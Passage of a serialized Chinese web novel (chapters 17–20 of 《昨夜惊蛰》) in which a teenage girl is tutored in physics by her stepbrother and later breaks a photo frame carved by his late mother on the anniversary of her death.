程司远把椅子放在书桌一侧,又伸手将周依的椅子拉回中间,说:“坐近点,我好讲。” 他俯身在桌侧坐好,将刚刚顺手揣兜里的沙琪玛放在一边,又伸手从书包里掏出卷子。 周依微微愣了一下,但很快又恢复平常,转身去拿自己要用的书本。 她把课本和练习册都给程司远看了一遍,又讲了学校的上课进度,还有自己的薄弱科目跟不懂章节。 一番过后,程司远对目前的形式也大概有了几分了解。周依文科类整体比理科类好,就是历史有点拉分,但—— “你跟我说说这个物理六十,是什么意思?”程司远拿着成绩单问。 周依拿笔的手指蜷了一下,嘴里小声嘟囔道:“幸运的意思。” “奥?幸运。” 程司远重复了一遍,挑眉看向看着她,声音里带了几分“恍然大悟”的意味,调笑道:“奥,满分啊,我还以为你们满分一百呢。” 周依被噎住,撇撇嘴道:“满分……就是一百。” “知道。” 程司远瞥了她一眼,伸手拿起摆在自己面前的物理练习册,指着一道题说:“这基本概念都错了,你满分,应该没人不及格吧。还幸运?” 周依当场傻眼,她第一次见到骂人骂得这么含蓄的。不是,她哥嘴之前也这么毒吗? “我其他科目不是还看得过去嘛……”她试图找回些颜面。 “所以这腿瘸的也明显。”程司远把颜面撕碎。 “……” 要是什么都会我不就考上了嘛! 周依心里很疯狂吐槽,但嘴上却不做声,低着头紧抿着唇,一副可怜巴巴的模样。 程司远垂眸看着她,似乎被那副可怜样欺骗了,声音淡淡道:“其实也还好,你这种情况好提分。” 像是在安慰。 周依斜抬着眼偷瞄着他,问:“真的?” “嗯。” “那怎么提分?很快的那种。” “……先把概念记对吧。” “……” 周依怀疑程司远看不起人,但她没证据。 其实物理不好真不能怪她,她虽然现在物理没学两年,但班里的物理老师就已经换三个了,学校美其名曰:不同时间段用不同的老师,效率高,质量好。 话是这么说没错,可耐不住周依认旧啊。 这前脚自己刚接受老师的讲课方式,后脚学校就换了。每次过渡期都是她最痛苦的时候,那蹩脚的口音就罢了,有的老师可能还兼任书法家,满黑板的艺术字体她是真看不懂。 而物理这门课相关性又很强,前面听不懂或者哪里落下一点,后面再补就要花成倍的时间。 她能考六十分,其实真的是有够幸运了。至少及格了不是? 周依心里有点沾沾自喜。 程司远将她拿出来的一堆书本整理好放在一边,只留下物理课本,翻开放在桌子上。他从笔袋里拿了支笔,抬头问:“草稿本有吗?” “有,你等等。” 周依连忙从书包里掏出自己的草稿本,又偷偷瞄了一眼程司远,手上动作极快地翻开空白页,递给他道:“随便怎么写都行。” 程司远挑眉看着她的小动作,拿过草稿本并没有急着写,而是往前翻了几页。 忽然,动作一顿,他看着上面各式各样画着的小图,嘴角直抽搐道:“你这上课还挺清闲啊。” 周依尴尬极了,从椅子上跳起来,一把捂住自己的草稿本。她以为只要自己翻得够快程司远就看不见了,没想到…… 早知道就应该从最后翻的! 她心里后悔的直咂舌,急忙用手翻了几页,把自己的尴尬翻篇。 直到又是一张空白的纸页出现,她才重新递给程司远,嘴里嘟囔道:“老师讲课没意思,我不干点事容易犯困。” 程司远喉咙里发出短促的一声,或许是觉得好笑,随即从笔袋里掏出一支笔放在她面前,说:“画吧,我讲课也没意思。” 周依刚想拿起笔,一听这话,悬浮在空中的手立马撤得老远,连连摇头道:“不不不,不一样,这怎么能一样?哥哥讲课怎么能没有意思?那肯定是十分有趣、十分生动,我必然打气一万分的精神,认真听课!过耳不忘!” 她也不管自己说的浮夸不浮夸,主打就是把情绪拉满。先夸、夸了再说。 然而她身边那位好像并不吃这套。程司远就只静静坐在椅子上看着,没有说话, 周依眨巴着眼睛愣了几秒,刚想开口再说些什么挽救一下,就见程司远下巴朝桌子上的笔点了点,语气有些无语道:“拿笔做笔记,没让你真画。” “奥好。” 周依拿起笔,嘿嘿笑了几声。 你看,他就吃这套。 程司远叹气看着那笑傻的人,拔开笔帽在草稿本上写下“比热容”,三个大字。 “先讲这个吧,试试能不能接受。”他说。 见要开始了,周依也不悠嘻,正经点头应声坐好。 程司远一开始讲得很简单,周依也都能跟上,有时甚至还能先他一步说出知识点。 但到后面做题周依就不行了,尤其是综合题,那可以说是老牛拉货车——慢慢吞吞。二十分钟了,愣是写不完一道。 程司远把自己手头的面子翻了个面,抬头看向周依一副无所事事的样子,不由问:“写完了?” 周依被这声吓得手一抖,差点把手上倒刺拔歪,应声道:“没、没写完。” “是哪不会了?” 程司远说着,就去拿她手下的练习册。 “诶——” 周依来不及反应被他抽了个正着,闭了闭眼,心死了。 “你二十分钟了就写了半道?” 看吧。 听着程司远难以置信的声音,周依睁开眼睛,抿了抿嘴唇,小声道:“我真的不会……” 程司远皱眉看着这半道题,心里觉得纳闷,不应该啊,基础知识没问题,怎么遇到题反而不会了? 他把自己面前卷子拿到一边,搬着凳子离周依近了几分,一手拿着笔,一手按着书,说:“我跟你一起做。” 他倒要看看,究竟是哪出问题了。 周依瘪了瘪嘴,拿起笔点点头。 “由于天气寒冷,吃早饭时妈妈要用热水给小明加热250g的瓶装牛奶,如图所示……”程司远的声音在耳边响起。 周依瞪着双眼,看得也是认真。 “第一,问牛奶需要吸收的热量。”程司远看向她问:“公式记得吗?” “记得。”周依在草稿纸上写下公式。 “那就把条件带进去算。” “啊?直接带进去吗?” “不然要祭拜一下吗?” “……” 周依无语,觉得这人可真会说话,幽幽道:“知道了。” 于是,她便拿着题目又读了一遍,自动笔在题目上画来画去,只不过条件还没找到,题目都快让她图黑了。就跟现在程司远的脸一样。 “别画了,牛奶这两个字不是条件。”他说。 周依顿了笔,收手坐在一边,眼巴巴的看着程司远,声音委屈极了,说:“我找不到。” 程司远深吸了一口气,他觉得自己有点缺氧。他终于知道问题出在哪了,也终于明白周依手边那一团橡皮屑是从哪来的了。 合着这小孩儿把什么都当重点,吃早饭你怎么不 17. 秘谈 《昨夜惊蛰》全本免费阅读 两人一直在房间学到晚上,直到程毅和张舒欣加班回来,周依的眼睛都快要打架了,程司远才喊了停。 “哥哥,我怎么有一种被报复的感觉?” 周依翻动着手下刚写完的三四页练习题,暗暗抱怨这人绝对是故意的。 程司远将卷子装进书包,斜瞟了眼她手里的练习册,说:“你感觉错了。” “不可能,你绝对是故意的。”周依嘟囔着嘴说:“明明说好的先讲个比热容试试,怎么到后来又加了热传递?” “怎么,嫌累了?”程司远说:“那就老老实实去补课班。” 你看,果然是故意的。 周依暗叹一声,立马换了一副面孔,嘴角咧着笑开口附和道:“这是什么话,我怎么会累呢?我一点都不累,哥哥给我讲课那是我的荣幸啊。” 她的话不尽谄媚,而且没完,拿起桌上的练习册,继续道:“你看看,全对。这都是哥哥的功劳啊,所以我这大度、帅气的哥哥不会跟我一般见识的,对不对?” 程司远似乎真的很吃这一套,他眉毛轻挑了一下,将书包挎在肩膀上单手领起自己的椅子,并没有直面回答周依,而是—— “明天还是两章。”他说。 “你答应了?”周依一下从椅子上站了起来,大喜过望道:“没问题、没问题,三章也行。” 这时,已经走到房间口的程司远突然顿住,斜侧着俩对后面说:“奥?那就三章。” “???” 周依笑容僵在脸上。不是?您说什么? 程司远低着头的身形微微抖动,一丝丝笑意从他喉咙中泄了出来,说:“逗你的,两章。” 周依猛松了口气,重新坐回到椅子上,如释重负道:“你吓死我了! 程司远嘴角勾了勾,在进他的房间前低声说了一句:“小孩儿。” 声音很低,但周依还是听到了。 她努了努嘴,心里很是不服,暗暗反驳了声:“幼稚鬼。” 这一晚上的试讲,程司远看得出来周依的物理并不是真的差,理论基础还是挺扎实的,主要是心理素质不行,看到题目就慌,每次遇到长的题都得要他念一遍,捋一下才行。 他当时说要讲三章也不是故意吓周依,以她的能力应该是可以消化的。至于补课班—— 程司远觉得可以以后再说。 如此这般,程司远便成了周依的”集训老师”,只要程司远不睡,周依就跟着熬,以至于每次两人开小灶结束都快到了深夜。 这几天程毅出去出差,在家只有张舒欣,每次她看到两人用功的模样,欣慰之余又觉得心疼。 开始,她睡前还会来房门口偷偷看一眼,时而端点水果点心,时而拿水嘘寒问暖。但人在高度集中的时候都不喜欢被打断,周依也是这样。 于是,她便打着“闭关”的名义,让张舒欣多休息,不用来回跑。 本来大家都没觉得哪里有什么不对劲。直到他们连续集训了半个多月—— 那天晚上周依终于是熬不住了,桌子上闹钟的时针指向十一时,她的两只眼睛像是有了自主意识,慢慢合上又快速张开,再次合上又再次张开。但没两个回合她就败下阵来,头一点一点地,最终还是趴在桌子上睡着了。 程司远当时给她讲完知识点,顺便布置完练习内容,自己就坐在桌子一侧,闷头刷卷子了。 他投入的专心没注意到周依的动作,只是过了有片刻,他突然觉得身边好得过分安静了,就连最起码的翻书声都没有。 那不成又没思路了? 他心里刚这想,抬头就见本应该没有思路头疼发愁的人,现在已经老老实实趴在手臂上酣然入梦了,手里还拿着笔,嘴里也不知道在嘟囔些什么。 他喉咙中发出一声轻笑,停了笔放在一边,身体微微后仰,轻靠在椅背上。 房间里的暖灯将他牢牢包裹在内,他垂眸看着周依,眼睛在光束的映照下显得格外温柔。 程司远的眼神停了好一会儿,半晌,才默默喃了声:“我是不是疯了……” 他的声音极小,小到这句话说出来得更像是问自己。 周依趴在桌子上睡得很熟,一缕头发缓缓散落在脸颊,或许是觉得痒,她瘪了瘪嘴发泄自己的不满,但很快就又没动作了。 此时此刻,程司远心像是被猫爪挠了一下,不轻不重,酥酥麻麻。 他怔了片刻,随后缓缓坐直起身,刚想伸手去拨那缕不听话的头发,可谁知门却突然被打开了,还传来一个声音—— “司远,我——” 程毅看见程司远怪异的动作顿了顿,问:“你在干嘛?” 程司远听到门响就猛地收了手,随即拿起笔,一副准备伸懒腰的模样,回道:“坐累了,我伸个懒腰。” 语速之快像是有人追。 他说完才又慢慢补充道:“爸,你回来了。” 程毅站在门口愣了一瞬,开口道:“嗯,刚回来。” 周依被这不大不小的动静给闹醒了,她迷糊着眼从桌子上爬起来,又伸手揉了揉,半晌没反应过来,直到看清门口的程毅,才惊呼一声道:“啊,程叔叔你回来了。” 她忽然觉得不好意思起来,揉了揉鼻子说:“刚刚太困了,不小心睡着了。” 说着,还不忘斜过眼去瞟程司远脸上的表情,见对方只是抿着嘴,并没有什么不悦,顿时也放心不少。 可这心还没放到肚子里,她蓦地又瞥见程司远耳根有点红。怎么回事?太热了? 周依心里刚这样想,就听程毅的声音在耳边响起:“困了就快睡吧,别熬着了,都十一点了明天还上学呢。” 他转头看向程司远又说:“司远你也真是,妹妹比你小,能跟你一起熬吗?” 程司远闻言皱了皱眉,不知道对方嘴里哪个字让他觉得不爽。他嘴巴动了一下,可能是想说什么,但最终也只“嗯”了一声,没有后文。 周依看了眼程司远,没来由觉得他好像有点不高兴,以为是程毅乱扣帽子,便开口解释道:“不是的程叔叔,是我自己不睡非要缠着哥哥,跟他没关系,你别说他。” 程司远将桌上自己的书本卷子 18. 兆头 《昨夜惊蛰》全本免费阅读 程毅走后房间里又再次陷入沉寂,程司远在原地站了好久,半晌才抬腿走向自己的书架。 他够着手向最高一层摸去,像是在找什么,但那东西好像被藏在了最里面,他摸了好半天才将它拿出来,生怕被别人发现似的。 那是一个木质相框,框身光滑,拐角圆润,上面还有用刻刀雕刻的花纹,只不过那花纹线条并不流畅,看起来应当是初学者刻的。但相框的主人显然十分爱惜,时间并没有在它身上留下太多痕迹。 相框里放了张照片,一个小男孩和一位漂亮女士。 其中,那小男孩紧绷着脸,手里还托举着蛋糕,应当是在过生日。男孩身边的女士画着精致的妆容,笑得很开心,只不过那粉霜和口红并没能压住她脸上的病气,眼窝深陷略显憔悴。像秋风中的残叶,摇摇欲坠。 程司远轻抚着照片觉得鼻尖有些酸涩,那是他和他妈妈最后一张合照。 刚开始苏晴被确诊了结肠癌,那时并没有发现有远处转移的迹象,在保守治疗下病情也有好转。 只是好景不长,本该持续好转的病情,却突然加重。 医生们都推测是癌变转移,但肠镜取活检不知道做了多少次,到最后的结果也只是高级别内瘤变,依然不知道何处发生转移。 程司远当时还小,每次他询问妈妈的病情时,大人们总是骗他说,“你妈妈就是太累了,让她多休息休息就好了。” 或者是,“你妈妈没事,只要你考一百分、考第一名她就好了。” 又或是,“她没事,就是配合医生做检查,过几天就好了。” ……等等。 程司远知道那些话都是骗人、都是假的,但他还是守在苏晴身边哪都不去,给她端水、给她喂饭、给她擦脸,不让她累着。 没事了就坐在床边,趴在小柜子上写完了一本又一本练习册,努力把自己的成绩考高、考满分、考第一。 苏晴被推去做检查,那他就在门口等她。 他极力的想看懂病历单上的每一个名词,挣扎着想要理解那份痛苦的来源。 那时程毅也急疯了,带着病例满世界的跑。 一路风尘,终于在重洋外找到了一位医学大亨,是一位姓童的华裔医生,他在知道苏晴的病例后立马就跟着程毅飞了过来。 两人刚落地二话不说直奔医院,和医院交接完便立即安排了苏晴的全身检查。但还是晚了一步。 当时PET和CT的结果已经显示苏晴身上的癌细胞已经扩散到了周围组织、淋巴结及远处器官。已然是癌症晚期了,童医生就是有再高的医术,能做的也只有减少痛苦,延缓生命罢了。 程司远崩溃的趴在病床上嚎啕大哭,他做尽了一切他能做的,他以为他能把她留下。 可到头来,他发现其实自己什么都做不了,他无能为力,他留不下她。 苏晴不想他难过,平日里闲了便拿程司远开玩笑,说:“我们司远看病例看得这么认真,以后是要当医生吗?” “那妈妈就再等等我。”程司远说:“到时候我当了医生,一定可以治好妈妈。” 每次他们说到这个话题,苏晴都会多拿出几分精神,佯装轻松地点着头叉着腰,说:“好,妈妈一定可以,那到时候可是要麻烦小程医生了。” 程司远很配合,每次都会被她都笑,说:“没问题,我就等着妈妈麻烦我。” 苏晴温柔了一生,哪怕是到最后她也是笑着的,就和照片上一样,永远灿烂,暖洋洋的。 …… 程司远拿着相框看了好久,久到他眼睛里泛出一层水雾。他仰起头眨了眨眼,那一层薄薄的雾便又洇入眼底,只留下眼尾处的一抹红。 之后的几天程司远一直都没睡好,他无数次在梦境中遇到苏晴。 是年幼,他在夏日阳光下与妈妈吃西瓜,比赛谁吃得快,谁吐西瓜子得远。或是少时,他在寒冬里吃到了妈妈刚烤出炉的热红薯,摸着耳朵说烫死人了。亦或是成年后,他真的成为医生,治好了妈妈的病,看她鬓角发白,陪她一年又四季。 但无论开头是什么,他梦的结尾都是那盏炽白的灯、洁白的四壁和床上奄奄一息的人,心肺检测仪的鸣叫声哪怕是在梦里也尖锐的令人窒息,深入骨髓。 甚至后来不知为何,那床上的人,也从一开始的苏晴,变成了周依。 他每次都会狼狈的从梦境中惊醒,眼角湿润,额前鬓角渗出一层薄汗,那本不存在的鸣叫声,还是会在耳朵里停留良久。 这样的状态不知道维持了多久,哪怕程司远真是铁打的,如今也不行了。 他素日里的笑脸本来就不多见,现在更是变得愈发少见。或许是他平时冷脸惯了,又或许程毅和张舒欣真的很忙,他们并没有发现程司远的异样。 但周依不同,她除了上学的时候没办法跟程司远在一起,其余时间几乎可以说是黏着他也不为过。 这几天她经常看见程司远对着日历发呆,一看就是好久,有的时候叫了他两三声才有反应。 周依问他怎么了,他也只是摇头说没事。 又是一天周三,原本持续升温的天气这天却突然降了温,厚重的乌云像一层巨大的灰色棉被,无情地遮住了阳光,把整个天地都包裹在阴郁之中。 按惯例,今天周依放学本应是要和李佩佩一起去图书馆上自习,但不知为何,她心里总觉得乱乱的。 迎着下课铃声她抬头看向窗外,见天边一团团的黑絮,又是没来由觉得一阵心烦。 周依收拾好书包,走到李佩佩身侧说:“佩佩,我今天不去图书馆了,这天看着像是要下雨。” 李佩佩抬头朝窗外看了眼,说:“还真是,那咱们今天就先不去了吧。” 她说着伸手往书包里掏了掏,继续道:“我给我妈打电话,让她来接我们,别一会儿真下了。” “啊?你带手机了,新买的?”周依压低声音,有些惊讶。 她们学校规定不能带电子产品来学校,尤其是手机,如果被发现了,那就只有没收一条路,轻则写检讨,重则请家长。 周依自诩听话懂事第一人,这种犯纪违规的事她自然是不会做的,但更重要的是—— “拿了,我妈前几天给我买的,说有急事了能打个电话说一声。”李佩佩说着左右瞄了一下说:“学校说是不让拿,但大家暗里谁不拿,没事的。” “那你小心点啊,别被发现了。” “放心,我也不拿出来玩,就是放学了给我妈打个电话。夏天不是要到了吗,她跟我爸最近在烧烤店忙的厉害,让我报个平安。” 李佩佩说着突然顿住,像是想到什么,又道:“对了,依依你怎么不拿手机啊,我记得你妈他们不也挺忙的?不用保平安吗?” 她这话其实也没什么恶意,平时大大咧咧惯了,难免一些细枝末叶考虑不到。周依也没放在心上,只是沉默了几秒,说:“我没手机。” “啊?你没手机。”这下换做李佩佩惊讶了。 “我还以为是担心被抓到所以才不带的。”她说。 周依有些尴尬地笑了笑。 她没手机,自然不担心自己会不会犯纪违规,但同样自己也没办法像她一样,随时随都能联系到人。 有利有弊吧。 她心里这样想。 只听身边的李佩佩又说:“其实还是应该有个手机,不然放学路上多危险。再说了,就像今天这阴不阴晴不晴的鬼天气,什么时候下雨都不知道,有个手机还能打电话给家里人说一声。” 周依也觉得她说的有道理,跟着“嗯”了一声。 李佩佩猫着腰,恨不得整个人都钻进桌兜里,说:“依依,你帮我看着点啊,我给我妈打个电话。” “嗯,好,你打吧。”周依说着又往前凑了凑,用身体给她挡着。 李佩佩手机响了没两声就被接通了,她桌兜里嘀嘀咕咕说了几句周依没听太清,大概意思就是,没拿伞要下雨了,在校门口等着之类的。 她挂了电话,艰难的从桌兜里爬起身,对周依说:“我妈她一会儿才能来,我们先在教室坐一会儿,之后再去门口等着。” “嗯,好啊。”周依应了一声,拉出旁边的椅子坐下。 “你怎么了?脸色不太好,不舒服吗?” ”嗯?有吗?”周依抚上自己的 19. 乌云 《昨夜惊蛰》全本免费阅读 这样的天阴了没一会儿,雨点便落了下来,忽大忽下反反复复,噼里啪啦打在屋檐树叶上,吵得人一阵心焦。 周依皱了皱鼻子,空气中咸腥潮湿的气息不禁让她蹙眉。应该是阵雨,不会打雷。 她心里虽然这样想着,但还是走上前把窗户关严。 等周依再出来的时候张舒欣已经要准备做饭了,她看了眼时间,转头向程毅问道:“程叔叔,哥哥去哪了,他拿伞了吗?” 程毅正拿着电脑办公,一副很急的样子也没有多想,闷头就回道:“拿了吧,没拿应该也淋不湿,他又不——” 他的话还没有说完,突然听到门口有动静,下意识瞥了一眼,正巧就看见他口中那不傻的人,淋得像落汤鸡一样进了门。浑身都湿透了。 “你不会躲雨吗?”程毅诧异。 周依也跟着惊讶道:“哥哥?” 程司远卸下书包在门外抖了抖,将雨水抖落,大步向前道:“没来得及,我先去换衣服。” 他路过周依时轻抬了下眼皮,睫毛上还兀自挂着雨珠,瞳中的颜色在光下显得很淡,像是贴了一层玻璃,又好像结了一层薄冰。 视线淡淡地扫过,眼尾泛着薄红,周依的心跟着一愣。 哭过? 她在原地站了好久,直到听见程司远把房间门关上,这才慢慢反应过来。 周依轻抿着唇走到厨房,站在张舒欣身侧小声说道:“妈妈,哥哥回来了,但……但他心情好像不是很好,还淋湿了,要不要给他煮碗姜茶?” “奥,回来了啊。” 张舒欣说着往厨房外看了眼,意料之中的没有看到人。她轻叹一声道:“是得喝点姜茶,别感冒了。” “那我帮你?”周依道。 “不用,我来就行。”张舒欣调侃道:“要是让你煮,那到时候就不能叫姜茶,该叫姜碳了。” “……” 行吧。 周依本着最后一点自知之明走出了厨房,但她总感觉今天心里急躁躁的,这看到程司远回来的样子,又忍不住开始担心。 她在房间里实在是闲不住,走来走去就想着要不把脏衣服先洗了,反正也是打发时间,顺便还能减轻点张舒欣的负担。 周依说干就干,把衣柜收拾了个里里外外,只不过这加上自己刚刚换下来的也就两三件。夏天的衣服不比其他季节,布料就那么点儿,这几件加起来都不够洗衣机洗的。 也太划不来了。 她心里暗叹,正犹豫要不要再攒攒的时候,突然眼睛一亮,想到程司远肯定会有。刚刚被淋湿的衣服,现在换下来肯定是要洗了,倒不如凑到一起,节约用水。 周依打定主意,抬腿就向程司远的房间走。可刚走到门口还没抬手敲门,就忽然想起自己还有漫画要给他,便又扭头拐了回去。 她从书包里掏出漫画,蓦地感觉有什么东西在自己手边滚了一下,便好奇地低头查看。这一看才发现,居然是那报刊老板给的那两个甜杏。 差点都忘了。 于是,周依便一手抱着漫画书,一手拿着两个刚洗干净的甜杏,再一次来到了程司远房门前。 “哥哥。”她低声喊道。 然而周依在门外站了半天,里面却一点动静都没,不禁觉得疑惑,嘴里嘟囔着:”去洗澡了?” 她磨蹭着脚正准备转身离开,忽然面前的门就从里面打开了。 门后的程司远依旧穿着刚回来时被雨水打湿的衣服,头发也还往下滴着水珠,一副任由自己狼狈样子。 回房间换衣服?骗鬼呢。 周依微微蹙眉,还没来得及张口说话,就见对方在看到自己的一瞬间里,眼神似乎闪躲了一下。 “你怎么来了?”他问。 周依怔了怔,回复道:“我、我就是想问问你有没有要洗的衣服,还有——” 她抬了抬自己手里拿着的东西道:“顺便给你漫画。” 程司远垂眸扫了一眼,也没仔细看,只以为是之前被她拿走,现在看完要还回来的漫画。 他松了握在门把上的手,转过身进去道:“我没要洗的衣服,漫画你放桌子上,或者其他什么地方都行。随便吧。” 声音里的掩饰不住的疲惫,让周依心头一酸。她下意识往前走了走,小心道:“哥哥你……还好吧。” 程司远脚步顿了一下,随即又恢复正常,淡淡道:“没事,我去洗澡了,你放好就出去吧。” 说着,头也不回就进了卫生间。 周依站在原地有点没缓过神来,半晌,才默默走到程司远的脏衣篮旁,看了一眼。有衣服。 所以……为什么? 她忍着心里的疑惑,抿着唇走到书桌边,本想着把漫画和手里的甜杏放下就走。可奈何桌子上大片位置都被一沓沓翻开的卷子所占据,根本没有丝毫空地可言。 周依没有兀自翻动,只是简单扫了眼,好像是化学,只是—— 旁边怎么放着物理的错题本? 看完忘收拾了? 她撇撇嘴拿着手里漫画犹豫片刻,看了眼一旁的书架,决定好人做到底,把漫画按顺序排列整齐。 她扬扬眉觉得心情不错,抽了张纸巾将两个甜杏放在上面,随后又撕了手边的便利贴,上面写: 哥哥,甜杏洗过了,可能会酸 写到一半,突然顿了笔,她伸手捏了捏那两个甜杏。软的。 于是,将手下的便利贴揉了揣兜里,又撕了一张重新写: 哥哥,甜杏洗过了,甜的。 周依将写好的便利贴贴在纸巾上,拿着手里的漫画刚要走,却倏地顿住,下一秒又转身趴在桌子上,在便利贴上继续写: 漫画是最新一期的,别买重了。 她写完放了笔,忽然瞥见桌子下面的抽屉没关严,便又十分热心肠地伸手推了推,将它关上。 这下,做完一切的周依才心满意足地走到书架前,按着程司远的习惯把漫画放到书架的最上一层。 不过那书架可能确实是有点高,又或者周依还是太矮。 只见她一手抓着书架的隔板,另一只手使劲往上伸,狠不得整个人都贴在书架上,变成一只可以自由伸缩的猫。 过了半晌,终于塞进去一半。 可周依还没来得及高兴,就突然感觉它被什么东西挡住了,不管怎么用力、怎么找角度,她都放不进去。 怎么回事? 周依有点着急,把漫画书卡在那往后退了几步,试图看清书架最高层的内部结构。 然而她这小个子够着头看了半天,到最后脖子都酸了,也什么都没能看见。 周依心里不服,嘴里“啧”了一声,走上前就把那放了一半的漫画取下了来,放在桌子上。 她皱眉环视,突然眼睛一亮,搬着程司远的椅子就放在书架前,然后用脚踩着椅子下面的横撑,又伸手抓着隔板,单脚腾空式伸手向书架最上层摸去。 果然,这下轻松多了,轻轻一伸就摸到了。就是姿势有点滑稽,看起来像……猴? 但不重要。 周依将“拦路虎”用力拽了出来,只是看到它到一瞬间,她忽然“咦”了一声。 相框? 她将木框翻转过来,看到了照片上的两个人,一个小男孩还有……他妈妈? 周依瞬即反应过来,不由暗暗吐槽,还真是从小到大就顶着张臭脸,怎么跟妈妈拍照片也不知道笑一笑。 她咧咧嘴,虽然不解为什么程司远会把相框放在书架的最上层,但她并没有偷看别人隐私的习惯,也知道每个人都有不太想说的秘密,只当自己是不小心碰巧窥到了。 周依也没有犹豫,同时她的姿势也不允许她有什么犹豫。 她抬手就去放相框,可突然脚下一滑,她整个人重心不稳,狠狠摔倒在地,就连手上的相框也没能拿稳—— “哗啦”一声,玻璃碎了一地。 “你在干嘛?” 程司远刚洗完澡还没来得及擦干头发,就听见自己房间发出声响,也顾不得其他,套了衣服就推开卫生间的门。 下 20.夜贼 《昨夜惊蛰》全本免费阅读 客厅内,张舒欣拿着消毒棉,细细处理着周依手上的伤口,轻声问道:“怎么样,还疼嘛,跟妈妈说说怎么回事?” 周依紧咬着嘴唇,屏着气努力把溢出喉咙的啜泣压回心底。可委屈就像是把可以刺穿一切的利刃,不管她忍得多幸苦,那涨潮般的泪水还是将她好不容易搭建起来的防线,冲得一干二净。 “我、我把他、他的相框摔坏了,我闯祸了。”她抽噎道:“可我真的不是故意的,我就是不小心,没、没拿稳……。” 后续的声音被哽咽淹没,她用手揉着眼睛,试图想让这不争气的眼泪能少落一点。 张舒欣看了眼程毅,眸中似乎含了几分犹豫。 程毅叹了声气,在周依身边坐下,慢慢道:“依依啊,其实今天下午我和司远去了墓地。” 他抿了抿唇,继续道:“今天是他妈妈的忌日。” 周依瞬即停了哭声,眼角还挂着泪珠,抬头看向张舒欣,见对方抿唇不语,心底也是一沉。 “那我——” 她说到一半,就不敢继续了。只是心里慌乱如麻,那自己岂不是在他妈妈忌日上,摔坏了她留给他的东西? “这几天他心情不太好,说话重了些,你也别太在意。”程毅说:“等过几天就好了,到时候你再好好跟他道个歉。他是哥哥,不能那么小气,没事的。” 他说完忽然顿住,片刻又开口道:“就是那相框有点麻烦,那是他妈妈临走前给他刻的。” 周依呆愣愣地听完他的话,大脑一片空白,心脏像是被灌满了铅,沉入无尽深渊。她眼睛一眨,刚刚还囤积在眼眶的氤氲,便凝结在一起,落了下来。 “依依?”张舒欣叫了她一声问:“你怎么了?” “嗯?我没事、没事。” 周依回了神,抬手抹去脸上的泪渍,抬头问程毅道:“程叔叔那个相框还能修好吗,去哪里可以修?” “这我还真不知道,不过手工店应该可以问问,但——” 程毅滞了一下,转头看了眼程司远紧闭的房门,咧着嘴说:“这小子应该不会允许别人再动了吧。” 程司远的脾气他最清楚不过了,当初他本想着程司远会睹物思人,怕他接受不了苏晴离世的事实,就把关于她的东西都收起来了。 一开始程司远还没什么反应,直到程毅收拾到那个相框,他是磨破了嘴皮子,也没能让程司远松手,最后两人闹了好几天,还差点儿闹决裂。 说到底,程司远也是个倔脾气。 周依眼瞅着自己最后一丝祈求原谅的机会也要烟消云散,急得又是要掉眼泪。 张舒欣看到,连忙开口道:“诶,也不一定,还没试试呢怎么知道,是吧?” 说着还不忘给程毅使眼色。 程毅:“???” 张舒欣眼睛都快抽筋了,实在受不了这人的粗线条,白了他一眼,面上笑着对周依说:“可以先去手工店问问,要是能修那就最好,到时候跟司远说一声,要不要去修让他来决定。” 她拿着医药箱路过程毅时,还不忘在他脚上狠狠踩了下, 程毅被吃痛一声,随即又忍住,连忙道:“啊奥、是是是依依,你妈妈说的对,说得非常有道理。” 他偷偷窥了一眼张舒欣的表情,见表情稍有缓和,又继续道:”要是修不了也没事,你这也算是为自己的不小心但起责任了。到时候好好跟他道个歉,再买个礼物补偿补偿,都是小事。” 张舒欣刚想开口应和,忽然听到后半句,眼前一晕差点昏过去。什么叫都是小事?现在说得轻松,到时候办不成就麻烦了。 但显然周依对这个说法很是满意,她眼睛一亮,转头就向张舒欣问道:“真的?” 张舒欣忍着嘴角的抽搐,尴尬地笑了两声道:“嗯,真的。” 说完眼一闭,死马当活马医吧。 晚间,窗外雨依旧下个不停,闷雷也是一声接着一声。刚刚的闹剧吸引走了周依全部的注意,现在突然空下来,她才意识到原来打雷了。 空气中潮湿的泥土味,逐渐被本不存在的血腥味而取代,萦绕在鼻尖久久不散。周依将窗帘又拉严了几分,看着眼前的虚空愣愣出神,桌上的练习册不知摆了多久,但却是干干净净的一个字都没写。 他今天不会来了。 周依垂眼看着书上的题目,手指在笔握处细细摩挲着,过了好半晌她才真正看进去,动手列了一堆式子,可是最后却算得一团麻。 她随手将笔往旁边一扔,后仰着靠在椅背上闭了眼,程司远晚饭也没吃,会不会饿啊。 心里想到这,周依就觉胸口像是被压了千斤石,重的喘不过气来,再加上那股弥散这空气中股无孔不入的血腥味,更是引得她一阵反胃,越加焦躁。 她使劲用手在面前扇了扇,起身出去打算缓口气。可刚走出房间,就被一个身影吸引了目光—— “妈妈你还没睡?”周依问。 张舒欣放下手中的杯子,抬手将静了音的电视关上,说:“没睡着,出来坐坐。你呢,怎么还没睡?” 周依默默抿唇,抬腿走上前坐到张舒欣身侧,说:“我也睡不着。” 她沉默了一瞬,又问:“妈妈,你说哥哥会讨厌我吗,他……会原谅我吗?” 周依说话声音渐小,听得张舒欣心里软了几分,她抬手摸了摸她的头发,说:“不会讨厌的,只要好好道歉司远会原谅的,他最喜欢依依了,放心好嘛。” “可……” 周依眼神暗了暗,她心里慌了一天,现在又出了这事,她实在是放心不下来,总觉得事情还没完。 “好了,快去睡吧,明天你还得上学呢。”张舒欣催促道。 周依犹豫片刻还是站起身,可走了两步又忽然顿住,转头看向张舒欣道:“妈妈,你能给我买个手机吗?” 张舒欣似乎没想到她会这么说,下意识脱口而出道:“为什么?” “妈妈你别误会,我不是拿它玩,我就是觉得有个手机能方便点,遇到事了能打电话说一声。” 周依有点慌张,说完又默默补充了句:“不买也没关系,我就是随口说说,别放心上。” “嗯,知道了,我明天下班就买给你。之前也想过给你买,但一忙就给忘了,你这一说还倒是提醒我了。” 张舒欣眼光柔了柔,起身路过周依轻声道:“对不起啊依依。” “没关系,妈妈没有对不起我。”周依心里松了一口气,又忍不住关心道:“妈妈,你为什么睡不着?” 张舒欣的身影顿了顿,随即又恢复平常道:“没什么,就是忽然想起点事儿。你快去睡吧,明天还上学呢,别起不来了。” 周依听见她关门的声音,又在原地站了片刻,随后抬腿跑去厨房拿了袋小面包和一瓶果汁,轻手轻脚放在程司远放门口,这才安心地回了房间。 大雨滂沱时的天空总是没有霖霖小雨来的温馨,到了夜里,在霍光的映照下更是说不出来让人觉得可怖。 寂静的房间里,雷声显得格外明显。程司远躺在床上辗转反侧,他平缓下来后,脑子里一遍又一遍想起自己对周依说的话,不免觉得后悔。 